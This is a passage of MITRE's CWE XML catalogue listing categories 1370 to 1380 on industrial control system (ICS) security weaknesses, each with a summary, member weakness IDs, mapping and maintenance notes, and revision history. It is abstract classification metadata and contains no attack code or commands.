					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Representation Errors</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-26">Data Representation Errors</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="1370" Name="ICS Supply Chain: Common Mode Frailties" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Common Mode Frailties" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "At the component level, most ICS systems are assembled from common parts made by other companies. One or more of these common parts might contain a vulnerability that could result in a wide-spread incident." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
	    <Has_Member CWE_ID="664" View_ID="1358"/>
	    <Has_Member CWE_ID="707" View_ID="1358"/>
	    <Has_Member CWE_ID="710" View_ID="1358"/>
            <Has_Member CWE_ID="1357" View_ID="1358"/>
            <Has_Member CWE_ID="329" View_ID="1358"/>
            <Has_Member CWE_ID="693" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1260"/>
            <Reference External_Reference_ID="REF-1248" Section="Common Mode Frailties"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Boosting CWE Content" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Suggested weaknesses to add to this category.</Contribution_Comment>
            </Contribution>
            <Contribution Type="Content">
               <Contribution_Name>"Boosting CWE Content" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-26</Contribution_Date>
               <Contribution_Comment>Suggested weaknesses to add to this category.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Category>
      <Category ID="1371" Name="ICS Supply Chain: Poorly Documented or Undocumented Features" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Poorly Documented or Undocumented Features" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Undocumented capabilities and configurations pose a risk by not having a clear understanding of what the device is specifically supposed to do and only do. Therefore possibly opening up the attack surface and vulnerabilities." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="489" View_ID="1358"/>
            <Has_Member CWE_ID="912" View_ID="1358"/>
            <Has_Member CWE_ID="1059" View_ID="1358"/>
            <Has_Member CWE_ID="1242" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="Poorly Documented or Undocumented Features"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Boosting CWE Content" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Suggested weaknesses to add to this category.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Category>
      <Category ID="1372" Name="ICS Supply Chain: OT Counterfeit and Malicious Corruption" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "OT Counterfeit and Malicious Corruption" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "In ICS, when this procurement process results in a vulnerability or component damage, it can have grid impacts or cause physical harm." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1278" View_ID="1358"/>
            <Has_Member CWE_ID="1198" View_ID="1358"/>
            <Has_Member CWE_ID="1231" View_ID="1358"/>
            <Has_Member CWE_ID="1233" View_ID="1358"/>
            <Has_Member CWE_ID="284" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="OT Counterfeit and Malicious Corruption"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1373" Name="ICS Engineering (Construction/Deployment): Trust Model Problems" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Trust Model Problems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Assumptions made about the user during the design or construction phase may result in vulnerabilities after the system is installed if the user operates it using a different security approach or process than what was designed or built." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="269" View_ID="1358"/>
            <Has_Member CWE_ID="807" View_ID="1358"/>
            <Has_Member CWE_ID="349" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="Trust Model Problems"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1374" Name="ICS Engineering (Construction/Deployment): Maker Breaker Blindness" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Maker Breaker Blindness" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Lack of awareness of deliberate attack techniques by people (vs failure modes from natural causes like weather or metal fatigue) may lead to insufficient security controls being built into ICS systems." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="Maker Breaker Blindness"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1375" Name="ICS Engineering (Construction/Deployment): Gaps in Details/Data" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Gaps in Details/Data" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Highly complex systems are often operated by personnel who have years of experience in managing that particular facility or plant. Much of their knowledge is passed along through verbal or hands-on training but may not be fully documented in written practices and procedures." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1059" View_ID="1358"/>
            <Has_Member CWE_ID="1110" View_ID="1358"/>
	    <Has_Member CWE_ID="710" View_ID="1358"/>
	    <Has_Member CWE_ID="1053" View_ID="1358"/>
	    <Has_Member CWE_ID="1111" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="Gaps in Details/Data"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Boosting CWE Content" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Suggested weaknesses to add to this category.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Category>
      <Category ID="1376" Name="ICS Engineering (Construction/Deployment): Security Gaps in Commissioning" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Security Gaps in Commissioning" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "As a large system is brought online components of the system may remain vulnerable until the entire system is operating and functional and security controls are put in place. This creates a window of opportunity for an adversary during the commissioning process." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="276" View_ID="1358"/>
            <Has_Member CWE_ID="362" View_ID="1358"/>
            <Has_Member CWE_ID="1393" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="Security Gaps in Commissioning"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Boosting CWE Content" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Suggested weaknesses to add to this category.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Category>
      <Category ID="1377" Name="ICS Engineering (Construction/Deployment): Inherent Predictability in Design" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Inherent Predictability in Design" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The commonality of design (in ICS/SCADA architectures) for energy systems and environments opens up the possibility of scaled compromise by leveraging the inherent predictability in the design." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1278" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="Inherent Predictability in Design"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1378" Name="ICS Operations (&amp; Maintenance): Gaps in obligations and training" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Gaps in obligations and training" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "OT ownership and responsibility for identifying and mitigating vulnerabilities are not clearly defined or communicated within an organization, leaving environments unpatched, exploitable, and with a broader attack surface." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <References>
            <Reference External_Reference_ID="REF-1261"/>
            <Reference External_Reference_ID="REF-1248" Section="Gaps in obligations and training"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Subgroup members did not find any CWEs to add to this category in CWE 4.11. There may be some gaps with respect to CWE's current scope, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1379" Name="ICS Operations (&amp; Maintenance): Human factors in ICS environments" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Human factors in ICS environments" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Environmental factors in ICS including physical duress, system complexities, and isolation may result in security gaps or inadequacies in the performance of individual duties and responsibilities." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="655" View_ID="1358"/>
            <Has_Member CWE_ID="451" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="Human factors in ICS environments"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Subgroup members did not find any CWEs to add to this category in CWE 4.11. There may be some gaps with respect to CWE's current scope, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1380" Name="ICS Operations (&amp; Maintenance): Post-analysis changes" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Post-analysis changes" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Changes made to a previously analyzed and approved ICS environment can introduce new security vulnerabilities (as opposed to safety)." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="Post-analysis changes"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).</Note>
